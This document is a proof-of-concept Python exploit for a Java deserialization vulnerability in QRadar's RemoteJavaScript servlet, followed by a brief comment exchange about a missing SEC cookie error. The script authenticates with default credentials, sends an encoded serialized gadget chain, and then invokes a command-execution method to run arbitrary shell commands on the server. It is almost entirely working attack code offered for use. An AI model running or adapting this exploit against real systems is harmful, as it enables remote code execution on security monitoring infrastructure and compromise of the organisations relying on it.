Proof of concept for Java deserialization vulnerability in QRadar RemoteJavaScript Servlet

qradar_deserialize.py

#!/usr/bin/env python3
import json
import random
import urllib3
import requests
import urllib.parse
   
base_url='https://127.0.0.1/'
username='admin'
password='initial'
verifycert=False
cmd='id'
   
gadget="""rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBh
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if not verifycert:
   urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
   
response = requests.get(f'{base_url}console/',
      verify=verifycert, allow_redirects=False,
      auth=requests.auth.HTTPBasicAuth(username, password))
   
if response.status_code != 302:
   print(f"failed login as '{username}'")
   exit(1)
   
cookies = response.cookies
headers = {'SEC': cookies['SEC']}
   
call = {'method': 'qradar.validateChangesAssetConfiguration', 'QRadarCSRF': cookies['QRadarCSRF'],
      'id': f'{random.randint(0, 99999999)}',
      'params': {'changedSettings': urllib.parse.quote(gadget)} }
response = requests.post(f'{base_url}console/remoteJavaScript',
      verify=verifycert, cookies=cookies,
      headers=headers, data=json.dumps(call))
   
call = {'method': 'qradar.executeCommand', 'QRadarCSRF': cookies['QRadarCSRF'],
      'id': f'{random.randint(0, 99999999)}',
      'params': {'command': cmd, 'timeoutSeconds': '10'} }
response = requests.post(f'{base_url}console/remoteJavaScript',
      verify=verifycert, cookies=cookies,
      headers=headers, data=json.dumps(call))
   
try:
   result = json.loads(response.text)['result']
   if len(result['stdOut']) > 0:
      print(result['stdOut'])
   if len(result['stdErr']) > 0:
      print(result['stdErr'])
except:
   print(response.text)

Hi

I tried to use the code, but it show me the next error:

File "./qradar.py", line 95, in
headers = {'SEC': cookies['SEC']}
File "/usr/lib/python3/dist-packages/requests/cookies.py", line 328, in getitem
return self._find_no_duplicates(name)
File "/usr/lib/python3/dist-packages/requests/cookies.py", line 399, in _find_no_duplicates
raise KeyError('name=%r, domain=%r, path=%r' % (name, domain, path))
KeyError: "name='SEC', domain=None, path=None"

Did you present any errors of this type?

Hi @pacho110791,

Do you get a SEC cookie when logging into QRadar? It looks like you're not getting any.